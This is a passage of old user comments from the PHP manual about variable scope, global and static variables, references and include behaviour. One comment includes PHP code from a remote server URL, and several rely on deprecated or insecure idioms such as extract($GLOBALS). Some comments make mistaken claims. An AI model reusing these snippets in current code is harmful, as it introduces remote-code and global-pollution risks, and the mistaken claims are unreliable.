 static $MyStaticVar2 = $LocalVar            //ERROR
 static $MyStaticVar3 = 7;                      //OK
 return $MyStaticVar3++;
}

It's a little annoying, because in some cases the value of static variables aren't necessarily known at the moment of their initialisation. And sometimes it's required to be a value returned by some function or a value of some other function created earlier. Unfortunately, the moment of the initialization is the only moment, when this kind of assignment is possible to execute only on the first time the function is called.
?>
larax at o2 dot pl
23-Mar-2006 07:38
About more complex situation using global variables..

Let's say we have two files:
a.php
<?php
   function a() {
       include("b.php");
   }
   a();
?>

b.php
<?php
   $b = "something";
   function b() {
       global $b;
       $b = "something new";
   }
   b();
   echo $b;
?>

You could expect that this script will return "something new" but no, it will return "something". To make it working properly, you must add global keyword in $b definition, in above example it will be:

global $b;
$b = "something";
franp at free dot fr
11-Feb-2006 08:25
If you want to access a table row using $GLOBALS, you must do it outside string delimiters or using curl braces :

$siteParams["siteName"] = "myweb";

function foo() {
$table = $GLOBALS["siteParams"]["siteName"]."articles";  // OK
echo $table; // output  "mywebarticles"
$table = "{$GLOBALS["siteParams"]["siteName"]}articles"; // OK
echo $table; // output  "mywebarticles"
$table = "$GLOBALS[siteParams][siteName]articles";      // Not OK
echo $table; // output  "Array[siteName]article"

$result = mysql_query("UPDATE $table ...");
}

Or use global :

function foo() {
global $siteParams;
$table = "$siteParams[siteName]articles";        // OK
echo $table; // output  "mywebarticles"

$result = mysql_query("UPDATE $table ...");
}
marcin
31-Dec-2005 01:07
Sometimes in PHP 4 you need static variabiles in class. You can do it by referencing static variable in constructor to the class variable:

<?php
class test  {

   var $var;
   var $static_var;
   function test()
   {
       static $s;
       $this->static_var =& $s;
   }

}

 $a=new test();

 $a->static_var=4;
 $a->var=4;

 $b=new test();

 echo $b->static_var; //this will output 4
 echo $b->var; //this will output nul
?>
warhog at warhog dot net
13-Dec-2005 04:22
Some interesting behavior (tested with PHP5), using the static-scope-keyword inside of class-methods.

<?php

class sample_class
{
  public function func_having_static_var($x = NULL)
  {
   static $var = 0;
   if ($x === NULL)
   { return $var; }
   $var = $x;
  }
}

$a = new sample_class();
$b = new sample_class();

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output (as expected):
//  0
//  0

$a->func_having_static_var(3);

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output:
//  3
//  3
// maybe you expected:
//  3
//  0

?>

One could expect "3 0" to be outputted, as you might think that $a->func_having_static_var(3); only alters the value of the static $var of the function "in" $a - but as the name says, these are class-methods. Having an object is just a collection of properties, the functions remain at the class. So if you declare a variable as static inside a function, it's static for the whole class and all of its instances, not for each object.

Maybe it's senseless to post that.. cause if you want to have the behaviour that I expected, you can simply use a variable of the object itself:

<?php
class sample_class
{ protected $var = 0;
  function func($x = NULL)
  { $this->var = $x; }
} ?>

I believe that all normal-thinking people would never even try to make this work with the static-keyword, for those who try (like me), this note maybe helpfull.
zapakh at yahoo dot com
01-Nov-2005 12:23
Addendum to the post by tc underline at gmx TLD ch, on unsetting global variables from inside functions:

If setting to null is not a suitable substitute for unset() in your application, you can unset the global variable's entry in the $GLOBALS superglobal.

<?php
function testc()
{
  global $a;
  echo "  inner testc: $a\n";
  unset($GLOBALS['a']);
  echo "  inner testc: $a\n";
}

$a = 5678;
echo "<pre>";
echo "outer: $a\n";
testc();
echo "outer: $a\n";
echo "</pre>\n";
?>

/***** Output:
outer: 5678
  inner testc: 5678
  inner testc: 5678
outer:
******/

If the behavior of testc (or testa or testb, for that matter) seems surprising, consider that the use of the 'global' keyword simply performs an assignment by reference.  In other words,

<?php
  global $a;              //these two lines
  $a =& $GLOBALS['a'];    //are equivalent.
?>

If you've read http://php.net/references , then everything behaves as you'd expect.
tc underline at gmx TLD ch
14-Sep-2005 06:06
Pay attention while unsetting variables inside functions:

<?php
$a = "1234";
echo "<pre>";
echo "outer: $a\n";
function testa()
{
   global $a;
   echo "  inner testa: $a\n";
   unset ($a);
   echo "  inner testa: $a\n";
}
function testb()
{
   global $a;
   echo "  inner testb: $a\n";
   $a = null;
   echo "  inner testb: $a\n";
}
testa();
echo "outer: $a\n";
testb();
echo "outer: $a\n";
echo "</pre>";
?>

/***** Result:
outer: 1234
   inner testa: 1234
   inner testa:
outer: 1234
   inner testb: 1234
   inner testb:
outer:
******/

Took me 1 hour to find out why my variable was still there after unsetting it ...

Thomas Candrian
thomas at pixtur dot de
08-Aug-2005 11:02
Be careful with "require", "require_once" and "include" inside functions. Even if the included file seems to define global variables, they might not be defined as such.

consider those two files:

---index.php------------------------------
function foo() {
 require_once("class_person.inc");

 $person= new Person();
 echo $person->my_flag; // should be true, but is undefined
}

foo();

---class_person.inc----------------------------
$seems_global=true;

class Person {
  public $my_flag;

 public function  __construct() {
   global $seems_global;
   $my_flag= $seems_global
 }
}

---------------------------------

The reason for this behavior is quiet obvious, once you figured it out. Sadly this might not be always as easy as in this example. A solution  would be to add the line...

global $seems_global;

at the beginning of "class_person.inc". That makes sure you set the global-var.

   best regards
   tom

ps: bug search time approx. 1 hour.
www dot php dot net dot 2nd at mailfilter dot com dot ar
17-Jul-2005 09:43
To the bemused poster: Of course you can't compare processing times between functions/no functions. I only wanted to see the difference between referenced and copied variables in different scenarios. Tests are only meant to compare between pairs (i.e., call a function with & and call the same function without &). I did 4 individual pairs of tests, so test 1 compares to test 2, test 3 compares to test 4, test 5 compares to test 6 and test 7 compares to test 8. The strlen() call was there only to make sure the value is actually accessed.
17-Jul-2005 08:42
To the last poster, regarding the speed tests:

<?php
$a = str_repeat('text', 100);
$b = $a;
$c =& $a;
// $c == $b == $a

// But you assigned a different value within the functions:
$len = strlen($a); // $len != $a
?>

I was bemused; how could the processing times of the functions/no-functions tests be compared in this way? And calling the strlen() function within each iteration of the loop must take more time anyway?
www dot php dot net dot 2nd at mailfilter dot com dot ar
16-Jul-2005 10:39
I've been doing some performance tests. I thought I could squeeze some extra cyles using references, but I discovered they are more mysterious than I imagined (5.0.3).

Consider this:

$a = str_repeat('hola',10000000);
for($n = 0 ; $n < 1000000 ; $n++ ) { $b = $a; unset($b); }

real    0m1.514s
user    0m1.433s
sys    0m0.071s

The above times (as others in this note) are the best out of three attempts in an idle Linux box.

I expected the above to be a bit slow, since constructing $b might imply copying the 40MB string each time. It was very fast, though. Let's try with references:

$a = str_repeat('hola',10000000);
for($n = 0 ; $n < 1000000 ; $n++ ) { $b =& $a; unset($b); }

real    0m1.488s
user    0m1.380s
sys    0m0.071s

Not much of a gain, but it did took less time to complete. Will this work with functions? Let's see:

$a = str_repeat('hola',10000000);
for($n = 0 ; $n < 1000000 ; $n++ ) dosome($a);
function dosome($arg){ $t = strlen($arg); }

real    0m3.518s
user    0m3.276s
sys    0m0.088s

Mmm... much slower, but still pretty nice. I didn't use references yet, so let's try them out:

$a = str_repeat('hola',10000000);
for($n = 0 ; $n < 100 ; $n++ ) dosome($a);
function dosome(&$arg){ $t = strlen($arg); }

real    0m12.071s
user    0m6.190s
sys    0m5.821s

You think it is 3.5 times slower? Think again. It is 350,000 times slower. I had to limit the $n loop to 100 iterations in order to get those figures! I wonder what happens if I try to access the variable globally:

$a = str_repeat('hola',10000000);
for($n = 0 ; $n < 1000000 ; $n++ ) dosome();
function dosome(){ $t = strlen($GLOBALS['a']); }

real    0m3.007s
user    0m2.918s
sys    0m0.074s

Notice that using $GLOBALS we're back in bussiness. So using the global keyword should be exactly the same, isn't it? Wrong again:

$a = str_repeat('hola',10000000);
for($n = 0 ; $n < 100 ; $n++ ) dosome();
function dosome(){ global $a; $t = strlen($a); }

real    0m12.423s
user    0m6.112s
sys    0m5.917s

We're in the '350,000 times slower' domain again. I wonder why the script is spending so much time in sys.

A couple of additional tests to complete the puzzle:

$a = str_repeat('hola',10000000); $b = Array(&$a);
for($n = 0 ; $n < 100 ; $n++ ) dosome();
function dosome(){ $t = strlen($GLOBALS['b'][0]); }

real    0m12.087s
user    0m6.068s
sys    0m5.955s

$a = str_repeat('hola',10000000); $b = Array(&$a);
for($n = 0 ; $n < 100 ; $n++ ) dosome();
function dosome(){ global $b; $t = strlen($b[0]); }

real    0m12.158s
user    0m6.023s
sys    0m5.971s

I guess the $GLOBALS trick doesn't help when we access a reference stored in the global variable.

I'm completely confused, now. At this light, I will review my usage of the global keyword as well as for the references. I hope someone can benefit from this study too.
jameslee at cs dot nmt dot edu
17-Jun-2005 05:33
It should be noted that a static variable inside a method is static across all instances of that class, i.e., all objects of that class share the same static variable.  For example the code:

<?php
class test {
   function z() {
       static $n = 0;
       $n++;
       return $n;
   }
}

$a =& new test();
$b =& new test();
print $a->z();  // prints 1, as it should
print $b->z();  // prints 2 because $a and $b have the same $n
?>

somewhat unexpectedly prints:
1
2
kouber at php dot net
28-Apr-2005 08:36
If you need all your global variables available in a function, you can use this:

<?
function foo() {
  extract($GLOBALS);
  // here you have all global variables

}
?>
27-Apr-2005 07:46
Be careful if your static variable is an array and you return
one of it's elements: Other than a scalar variable, elements
of an array are returned as reference (regardless if you
didn't define them to be returned by reference).

<?php
function incr(&$int) {
  return $int++;
}

function return_copyof_scalar() {
  static $v;
  if (!$v)
   $v = 1;
  return($v);
}

function return_copyof_arrayelement() {
  static $v;
  if (!$v) {
   $v = array();
   $v[0] = 1;
  }
  return($v[0]);
}

echo "scalar: ".
     incr(return_copyof_scalar()).
     incr(return_copyof_scalar()).
     "\n";
echo "arrayelement: ".
     incr(return_copyof_arrayelement()).
     incr(return_copyof_arrayelement()).
     "\n";
?>

Should print

scalar: 11
arrayelement: 11

but it prints:

scalar: 11
arrayelement: 12

as in the second case the arrays element was returned by
reference. According to a guy from the bug reports the
explanation for this behaviour should be somewhere here in
the documentation (in 'the part with title: "References with
global and static variables"'). Unfortunately I can't find
anything about that here. As the guys from the bug reports
are surely right in every case, maybe there is something
missing in the documentation. Sadly I don't have a good
explanation why this happens, so I decided to document at
least the behaviour.
vdephily at bluemetrix dot com
22-Apr-2005 05:51
Be carefull about nested functions :
<?php
// won't work :
function foo1()
{
  $who = "world";
  function bar1()
  {
   global $who;
   echo "Hello $who";
  }
}

// will work :
function foo2()
{
  $GLOBALS['who'] = "world";
  function bar2()
  {
   global $who;
   echo "Hello $who";
  }
}

// also note, of course :
function foo3()
{
  $GLOBALS['who'] = "world";

  // won't work
  echo "Hello $who";

  // will work
  global $who;
  echo "Hello $who";
}
?>
S dot Radovanovic at TriMM dot nl
15-Feb-2005 11:50
Sadly I have found out that I have been wrong about my statements below, why?

Well:
1. only the variables that were set in the constructor were 'live' in my referenced object
2. I was assigning this an object and not a reference

So:
I fixed nr. 1 by adding the & when initializing the object (this way this works on the initialized object and not a copy of it)
<?php
//screen factory
$objErrorConfig = & new Config("error.conf");
$objErrorConfig->setSection("messages");

//object factory
//If no file is stated, the last one is used, this way this instance will have the reference to the previously created instance of objErrorConfig in object screen
$objErrorConfig = & new Config();
$errorMessage = $objErrorConfig->get($errorName);
?>
Now the variables assigned after the constructor ($objErrorConfig->setSection("messages");) will also be 'live' in the static obj array.

I had to find a workaround for nr.2, since it is impossible to assign a reference to this. That's why I used code proposed by others, nl. I referenced all the members of the objects:
<?php
//Because we cannot make a direct reference from our object (by doing $this = & $theObject)
//we'll make references of our members
$arrClassVars = get_class_vars(get_class($theObject));
foreach($arrClassVars as $member=>$value) {
   $this->$member = &$theObject->$member;
}
//To make sure we are working with a reference we will store our new object as the reference
//in the singeltonobject array (so all other initialized (referenced) objects will have the
//newest one as super referer
$arrSingletonObject[$this->_configfile] = & $this;
?>

So in the end, I had better used what everbody was using (creating a Singleton through an method, instead of through the constructor), but hey, I learned something again :)
S dot Radovanovic at trimm dot nl
05-Feb-2005 06:54
To use the Singleton Pattern (as available in PHP5), we must do a little trick in PHP4.

Most examples I've seen look like this:
//Creation of singleton, Example, Example1 objects
//and then
<?
$myExample  =& singleton('Example');
$myExample1 =& singleton('Example1');
?>

What I wanted was a way to use the Singleton Pattern on initialization of a new object (no calling of a method by reference (or something like that)).
The initializor doesn't have to know that the object it is trying to initialize uses the Singleton Pattern.
Therefor I came up with the following:

Beneath is part of a Config object that allows me to retrieve configuration data read from specific ini files (through parse_ini_file). Because I wanted to use the Config object in different other objects without having to pass a reference to the Config object all the time and without some of them having to now how the Config object was loaded (which configuration file was used) I had the need for the Singleton pattern.
To accomplish the Singleton pattern in the Constructor I've created a static array containing references to configuration file specific objects (each new configuration file creates a new instance of the Config object).
If we then try to create a new instance of an already loaded Config object (with the same configuration file), the objects set this to the reference of the previously created object, thus pointing both instances to the same object.
Here's the main part of the script.

Here's an example of how to use the Config object:
<?php
//dataheader
Config::setIniPath("/home/mydir/data/conffiles");

//object screen
$objTemplateConfig = new Config("template.conf");
$objErrorConfig = new Config("error.conf");

//objTemplateConfig and objErrorConfig are 2 different instances
$templatePath = $objTemplateConfig->get("template_path");
$errorColor = $objErrorConfig->get("error_color");

//object factory
//If no file is stated, the last one is used, this way this instance will have the reference to the previously created instance of objErrorConfig in object screen
$objErrorConfig = new Config();
$errorMessage = $objErrorConfig->get($errorName);
?>

So without the initializor knowing it he/she has retrieved a reference to a previously instantiated Config object (knowledge of this resides with the object).
Here's the constructor part of the config object:
S dot Radovanovic at trimm dot nl
05-Feb-2005 06:54
<?php
   function __constructor($configfile = '', $blnSingleton = true) {
       //We must define a static array that contains our reference(s) to the object(s)
       static $arrSingletonObject = array();

       //We also need to specify a static local member, that keeps track of the last
       //initialize configfile, so that we can use this if no file has been specified
       //(this way we enable it for the initializor, to work with a previously initialized
       //config object, without knowing what configfile it uses
       static $lastConfigfile;

       if(!empty($configfile)) {
           //Store the set configfile name in the static local member
           $lastConfigfile = $configfile;

       } else if(!empty($lastConfigfile)) {

           //If the configfile was empty, we retrieve it from the last known initialized
           $configfile = $lastConfigfile;

       } else {
           //if we've reached so far, it means no configfile has been set at all (now
           //or previously), so we cannot continue
           trigger_error("No configfile has been specified.", ERROR);

           //Return (instead of an exit (or die)) so that the constructor isn't continued
           return;
       }

       //Set the configuration file
       $this->_configfile = $configfile;

       //Only if we want to use singleton we may proceed
       if($blnSingleton) {

           //We must now check to see if we already have a reference to the (to be created) config
           //object
           if(!isset($arrSingletonObject[$this->_configfile])) {
               //Create of reference of myself, so that it can be added to the singleton object array
               $arrSingletonObject[$this->_configfile] = &$this;

               //We can now proceed and read the contents of the specified ini file
               $this->_parseIniFile();

           } else {
               //Associate myself with the reference of the existing config object
               $this = $arrSingletonObject[$this->_configfile];
           }
       }
   }
?>
pulstar at ig dot com dot br
09-Sep-2004 09:02
If you need all your global variables available in a function, you can use this:

<?php

function foo(parameters) {
  if(version_compare(phpversion(),"4.3.0")>=0) {
   foreach($GLOBALS as $arraykey=>$arrayvalue) {
     global $$arraykey;
   }
  }
  // now all global variables are locally available...
}

?>
info AT SyPlex DOT net
01-Sep-2004 08:35
Some times you need to access the same static in more than one function. There is an easy way to solve this problem:

<?php
  // We need a way to get a reference of our static
  function &getStatic() {
   static $staticVar;
   return $staticVar;
  }

  // Now we can access the static in any method by using it's reference
  function fooCount() {
   $ref2static = & getStatic();
   echo $ref2static++;
  }

  fooCount(); // 0
  fooCount(); // 1
  fooCount(); // 2
?>
shyam dot g at gmail dot com
03-Jul-2004 06:52
in response to Michael's comments, it is imperative to observe that static variables in methods of an object are not class level variables.
and since both a and b from the previous example are 2 different objects, there is no question of the static variable being shared between the objects.

The variable is static with respect to the function and not the class.

sam
Michael Bailey (jinxidoru at byu dot net)
05-Jun-2004 02:43
Static variables do not hold through inheritance.  Let class A have a function Z with a static variable.  Let class B extend class A in which function Z is not overwritten.  Two static variables will be created, one for class A and one for class B.

Look at this example:

<?php
class A {
   function Z() {
       static $count = 0;
       printf("%s: %d\n", get_class($this), ++$count);
   }
}

class B extends A {}

$a = new A();
$b = new B();
$a->Z();
$a->Z();
$b->Z();
$a->Z();
?>

This code returns:

A: 1
A: 2
B: 1
A: 3

As you can see, class A and B are using different static variables even though the same function was being used.
Randolpho
03-Apr-2004 04:53
More on static variables:

My first not is probably intuitive to most, but I didn't notice it mentioned explicitly, so I'll mention it: a static variable does not retain it's value after the script's execution. Don't count on it being available from one page request to the next; you'll have to use a database for that.

Second, here's a good pattern to use for declaring a static variable based on some complex logic:

<?
  function buildStaticVariable()
  {
     $foo = null;
     // some complex expression or set of
     // expressions/statements to build
     // the return variable.
     return $foo;
  }

  function functionWhichUsesStaticVar()
  {
     static $foo = null;
     if($foo === null) $foo = buildStaticVariable();
     // the rest of your code goes here.
  }
?>

Using such a pattern allows you to separate the code that creates your default static variable value from the function that uses it. Easier to maintain code is good. :)
jmarbas at hotmail dot com
17-Jan-2004 07:34
Whats good for the goose is not always good for the iterative gander. If you declare and initialize the static variable more than once inside a function ie.

function Test(){
   static $count = 0;
   static $count = 1;
   static $count = 2;
   echo $count;
}

the variable will take the value of the last declaration. In this case $count=2.

But! however when you make that function recursive ie.

  function Test(){
   static $count = 0;
   static $count = 1;
   static $count = 2;

   $count++;
   echo $count;
   if ($count<10){
     Test();
   }
  }

Every call to the function Test() is a differenct SCOPE and therefore the static declarations and initializations are NOT executed again. So what Im trying to say is that its OK to declare and initialize a static variable multiple times if you are in one function... but its NOT OK to declare and initialize a static variable multiple times if you call that same function multiple times. In other words the static variable is set once you LEAVE a function (even if you go back into that very same function).
Jack at soinsincere dot com
15-Nov-2003 02:11
Alright, so you can't set a static variable with a reference.
However, you can set a static variable to an array with an element that is a reference:
<?php

class myReference {
   function getOrSet($array = null) {
       static $myValue;
       if (!$array) {
           return $myValue[0];    //Return reference in array
       }
       $myValue = $array;          //Set static variable with array
       static $myValue;
   }
}

$static = "Dummy";

$dummy = new myReference;
$dummy->getOrSet(array(&$static));

$static = "Test";
print $dummy->getOrSet();

?>
flobee at gmx dot net
06-Nov-2003 04:26
i found out that on any (still not found) reason the <?php static $val =NULL; ?> is not working when trying to extract the data form the $var with a while statment
e.g.:
<?php
funktion get_data() {
static $myarray = null;
   if($myarray == NULL) {
     //get some info in an array();
     $myarray = array('one','two');
   }
   while(list($key,$val) = each( $myarray ) ) {
   // do something
   echo "x: $key , y: $val";
   }
}
?>
when using foreach($myarray AS $key => $val) { .... instad of while then i see the result!
ppo at beeznest dot net
09-Jul-2003 09:59
Even if an included file return a value using return(), it's still sharing the same scope as the caller script!

<?php
$foo = 'aaa';
$bar = include('include.php');
echo($foo.' / '.$bar);
?>

where include.php is
<?php
$foo = 'bbb';
return $foo;
?>

The output is: bbb / bbb
Not: aaa / bbb
j at superjonas dot de
15-Mar-2003 02:08
> pim wrote:
> in addition:
> if you define a function in that included file, it can't get
> the variables from the inluded file's scope. global won't work.
> The only way to give such an include function access to global
> vars is via arguments. I don't know if this is a bug in PHP.
>
> //---- from within function included file -----
> echo $var1; // this one works
> function foo()
> {
> global $var1;
> echo $var1; // this one doesn't
> }

It works if you additionally declare the variables from the inluded file's scope as global.

example:

<?php
/* file1.php */

function func1() {
   include("file2.php");
   func2();
}
func1();
?>

<?php
/* file2.php */

global $var; // declare as global here
$var = 'something';

function func2() {
   global $var; // again here
   echo $var; // prints "something"
}
?>
ben-xo aatt dubplates.org
13-Mar-2003 02:05
regarding the above "unset" example: I quote from the manual page for "unset".

"If a static variable is unset() inside of a function, unset() destroyes the variable and all its references. "

As mentioned above, on this page, static vars are implemented as references. When you unset() a reference, what you are doing is deleting a particular name for that variable. In your example, you delete the LOCAL NAME $a, but the static contents are still there (hidden) and next time you call your function, a NEW LOCAL NAME (again $a...) is linked to the SAME backing data.

Workaround would be something like "$a = null".
unset($a) is very much like $a = &null however, which, if you read the notes above, won't have the desired affect on static or global variables.
04-Mar-2003 11:25
As far as I can see, it's not possible to unset() a static variable inside the function:

function Test($unset = false) {
   static $a = 0;
   echo $a++;
   if ($unset) unset($a);
}

Test();
Test();
Test(true);
Test();
Test();

This will output 01234. I would expect it to at least show 01201.
pim at lingewoud dot nl
28-Feb-2003 03:46
shevek wrote:
>> If you include a file from within a function using include(),
>> the included file inherits the function scope as its own
>> global scope, it will not be able to see top level globals
>> unless they are explicit in the function.

in addition:
if you define a function in that included file, it can't get the variables from the inluded file's scope. global won't work. The only way to give such an include function access to global vars is via arguments. I don't know if this is a bug in PHP.

//---- from within function included file -----
echo $var1; // this one works
function foo()
{
global $var1;
echo $var1; // this one doesn't
}
jg at nerd-boy dot net
08-Feb-2003 08:10
It's possible to use a variable variable when specifying a variable as global in a function. That way your function can decide what global variable to access in run-time.

function func($varname)
{
   global $$varname;

   echo $$varname;
}

$hello = "hello world!";
func("hello");

This will print "hello world!", and is roughly the same as passing by reference, in the case when the variable you want to pass is global. The advantage over references is that they can't have default parameters. With the method above, you can do the following.

function func($varname = FALSE)
{
   if ($varname === FALSE)
     echo "No variable.";
   else
   {
     global $$varname;

     echo $$varname;
   }
}

$hello = "hello world!";
func("hello");                  // prints "hello world!"
func();                          // prints "No variable."
wjs@sympaticoDOTca
11-Dec-2002 01:03
Becareful where you define your global variables:

This will work:
<?php
  $MyArray = array("Dog");

  function SeeArray(){
   global $MyArray;
   if (in_array("Dog",$MyArray)){
     foreach ($MyArray as $Element){
       echo "$Element <hr/>";
     }
   }
  }

  SeeArray();
?>

while this will not:
<?php
  SeeArray();
  $MyArray = array("Dog");

  function SeeArray(){
   global $MyArray;
   if (in_array("Dog",$MyArray)){ // an error will generate here
     foreach ($MyArray as $Element){
       echo "$Element <hr/>";
     }
   }
  }

?>
jez at india dot com
01-Nov-2002 04:35
If anyone needs a permanent array / hash, similar in functionality to ASP's application object, check out the article on

http://zez.org/article/articleview/46/1/

which has some working code (written by me) attached. This code implements a hash with application scope, i.e. its contents can be accessed from all php scripts running on the same computer. You could use it, for example, to globally cache configuration settings for a site.

The hash is also cached in the db, i.e. it's inviolable. Its contents are buffered in memory, so there's no hit on the db when accessing the hash apart from the first time you read it, and of course when you write to it.
mu at despammed dot com
16-Oct-2002 07:12
morthanpurpl: You don't have to initialize variables you use first inside a variable, at least not in PHP4.2.2. The following will just work fine and output "iam":

<?php

function dumdum()
{
   global $a;
   $a = "iam";
}
dumdum();
echo $a;

?>
heatwave at fw dot hu
15-Oct-2002 08:12
Some people (including me) had a problem with defining a long GLOBAL variable list in functions (very error prone). Here is a possible solution. My program parses php file for functions, and compiles GLOBAL variable lists. Then you can just remove from the list those variables which need not be global.

<?php
   //parser for GLOBAL variable list
   $pfile=file("myfile.php4");

   for($i=0;$i<sizeof($pfile);$i++) {
     if(eregi("function",$pfile[$i])) {
     list($part1,$part2)=sscanf($pfile[$i],"%s %s");
     echo "\n\n $part1 $part2:\nGLOBAL ";

     $varlist=array();
     $level=0; $end=$i;
     do {
       $lpar=explode("{",$pfile[$end]);
       $level+=sizeof($lpar)-1;
       $lpar=explode("}",$pfile[$end]);
       $level-=sizeof($lpar)-1;
       $end++;
     } while(($end<sizeof($pfile))&&($level>0));
     $pstr="";
     for($j=$i;$j<=$end;$j++) $pstr.=$pfile[$j];
     $lpar=explode("$",$pstr);
     for($j=1;$j<sizeof($lpar);$j++) {
         eregi('[a-zA-Z_][a-zA-Z0-9_]*',$lpar[$j],$cvar);
       $varlist[$cvar[0]]=1;
     }
     array_walk($varlist,'var_print');
     }
   }
function var_print ($item, $key) {
     echo "$key,";
 }
?>
stlawson AT sbcglobal DOT net
06-Jul-2002 11:22
aslak is right!  Check this out:

$t1 = "outie";
function foo1()
{
  global $t1;
  $t1 = 'innie' ;
  echo ('in foo1() $t1 is an ' . $t1) ;
}

echo ('before foo1() $t1 is an ' . $t1) ;
foo1() ;
echo ('after foo1() $t1 is an ' . $t1) ;

// is identical to?:
$t2 = "outie";
function foo2()
{
  $t2 = &$GLOBALS['t2'];
  $t2 = 'innie' ;
  echo ('in foo2() $t2 is an ' . $t2) ;
}

echo ('before foo2() $t2 is an ' . $t2) ;
foo2() ;
echo ('after foo2() $t2 is an ' . $t2) ;

Output:

before foo1() $t1 is an outie
in foo1() $t1 is an innie
after foo1() $t1 is an innie
before foo2() $t2 is an outie
in foo2() $t2 is an innie
after foo2() $t2 is an innie

Also I cleaned up aslak's code a bit ;)
aslak at novita dot no
27-Jun-2002 07:54
Basicly what happens is this:

$var t;
function foo()
{
  global $t;
}

is identical to:
function foo()
{
  $t=&$GLOBALS[t];
}

which will answer the above argument becouse when you use
$t=&$somelocal;
you overwrite the first $t=&.....
cellog at users dot sourceforge dot net
03-Jun-2002 08:57
regarding May 27 comment.

Try this file, and you will see that what I said in my comment holds:

<?php
$testvar = 1 ;
$testvar2 = 2 ;
function foo ()
{
   global $testvar ;
   global $testvar2 ;
   $testvar3 = 6;

   $testvar =  3 ; //Assigning a constant works as expected.
   echo "$testvar,$GLOBALS[testvar],$GLOBALS[testvar2],$testvar3 <br>" ;  // 3,3,2,6

   $testvar =  4 ; //Assigning a variable also works as expected.
   echo "$testvar,$GLOBALS[testvar],$GLOBALS[testvar2],$testvar3 <br>" ;  // 4,4,2,6

   $testvar =  &$testvar2 ; // Assiging a reference points $testvar at what $testvar2
                               // is pointing at, which is $GLOBALS[testvar2]
   echo "$testvar,$GLOBALS[testvar],$GLOBALS[testvar2],$testvar3<br> " ;  // 2,4,2,6

   $testvar=5 ; // Assigning a value to testvar now modifies $GLOBALS[testvar2]

   echo "$testvar,$GLOBALS[testvar],$GLOBALS[testvar2],$testvar3<br>" ;    //5,4,5,6

   $testvar = &$testvar3;

   echo "$testvar,$GLOBALS[testvar],$GLOBALS[testvar2],$testvar3<br>" ;    //6,4,5,6

   $testvar = 7; // Assigning a value to testvar now modifies local $testvar3
   echo "$testvar,$GLOBALS[testvar],$GLOBALS[testvar2],$testvar3<br>" ;    //7,4,5,7
}

foo() ;
?>

doing $testvar = &$testvar2 assigns $testvar to point at $testvar2, which is pointing at $GLOBALS[testvar2].  Later, I assign $testvar = &$testvar3, which points it at the local variable.

The & operator *only* changes what the left-hand variable points at, and not the contents of what it used to point at (to borrow from old-fashioned pointer terminology :).
JeanRobert at Videotron dot ca
28-May-2002 05:18
Comment on May 21.

This explanation does not explain why assigning a global variable
reference to a globalvariable does not modify it (See the statement
"$testvar =  &$testvar2" bellow).

Here is my own explanation:

Inside a function, if we assign a variable reference to a global
variable then this global variable is replaced by a new local
variable instance. In other words, once done, futur assignment to
this variable will only modify the local copy and leave the original
global variable unchanged. Looking at the following code will
help you to understand it. (Just as a reminder $GLOBALS[testvar]
always refers to the original $testvar global variable).

$testvar = 1 ;
$testvar2 = 2 ;
function foo ()
{
   global $testvar ;
   global $testvar2 ;

   $testvar =  3 ; //Assigning a constant works as expected.
   echo "$testvar,$GLOBALS[testvar] " ;  // 3,3

   $testvar =  4 ; //Assigning a variable also works as expected.
   echo "$testvar,$GLOBALS[testvar] " ;  // 4,4

   $testvar =  &$testvar2 ; // Assiging a reference allocates a new
               // local testvar instance.
   echo "$testvar,$GLOBALS[testvar] " ;  // 2,4

   $testvar=5 ; // Assigning a value to testvar now only modifies
       // the local instance.
   echo "$testvar,$GLOBALS[testvar]" ;    //5,4
}

foo() ;

If you plan to assign a variable reference to a global variale then
you should use '$GLOBALS[testvar]=&$variable' instead of
'$testvar=&$variable'.
cellog at users dot sourceforge dot net
22-May-2002 07:02
comment on april 9 regarding:

function foo ()
{
   global $testvar;

   $localvar = new Object ();
   $testvar = &$localvar;
}

The reason this doesn't work is that when you use & to assign to $testvar, it reassigns $testvar to point at what $localvar points at.

$testvar = $localvar should work as well as $GLOBALS['testvar'] = &$localvar, although instance data will be copied and any references to parent classes will be broken.  I hate that :).

In other words, the declaration "global $testvar;" is telling php "make $testvar point at the same location as $GLOBALS['testvar']" but "$testvar = &$localvar" tells php "make $testvar point at the same location as $localvar"!!!
01-May-2002 04:14
Seems as though when a cookie is saved and referenced as a variable of the same name as the cookie, that variable is NOT global.  If you make a function ro read the value of the cookie, the cooke variable name must be declared as a global.

example:
function ReturnCookie()
{
       $cookieName = "Test_Cookie";
       global $$cookieName;
       if (isset($$cookieName))
       {
               echo ("$cookieName is set");
               $returnvalue = $$cookieName;
       }
       else
       {
               $newCookieValue = "Test Value";
               setcookie("$cookieName","$newCookieValue", (time() + 3153600));
               echo ("made a cookie:" . $newCookieValue ."<BR>");
               $returnvalue = $newCookieValue;
       }
       echo ("the cookie that was set is now $returnvalue <BR>");
       return $returnvalue;
}
huntsbox at pacbell dot net
03-Apr-2002 12:11
Not sure of the implications of this but...
You can create nested functions within functions but you must make sure they aren't defined twice, e.g.:

function norm($a, $b) {
   static $first_time = true;
   if ($first_time) {
       function square($x) {
           return $x * $x;
       }
       $first_time = false;
   }
   return sqrt(square($a) + square($b));
}

print square(5); // error, not defined yet
print norm(5,4);
print "<br>";
print norm(3,2);
print square(5); // OK

If you don't include the if ($first_time) you get an error saying you can't define square() twice.  Note that square is not local to the function it just appears there.  The last line successfully accesses square in the page scope.  This is not terribly useful, but interesting.
jochen_burkhard at web dot de
30-Mar-2002 03:47
Please don't forget:
values of included (or required) file variables are NOT available in the local script if the included file resides on a remote server:

remotefile.php:

<?PHP
$paramVal=10;
?>

localfile.php:

<?PHP
include "http://otherserver.com/remotefile.php";
echo "remote-value= $paramVal";
?>

Will not work (!!)
steph_rondinaud at club-internet dot fr
09-Feb-2002 08:41
I'm using PHP 4.1.1

While designing a database access class, I needed a static variable that will be incremented for all instances of the class each time the class connected to the database. The obvious solution was to declare a "connection" class variable with static scope. Unfortunatly, php doesn't allow such a declaration.
So I went back to defining a static variable in the connect method of my class. But it seems that the static scope is not inherited: if class "a" inherit the "db access" class, then the "connection" variable is shared among "a" instances, not among both "a" AND "db access" instances.
Solution is to declare the static variable out of the db access class, and declare "global" said variable in the connect method.
admin at essentialhost dot com
04-Feb-2002 10:30
Quick tip for beginners just to speed things up:<P>
If you have a bunch of global variables to import into a function, it's best to put them into a named array like $variables[stuff].  <P>
When it's time to import them you just so the following; <P>

function here() {
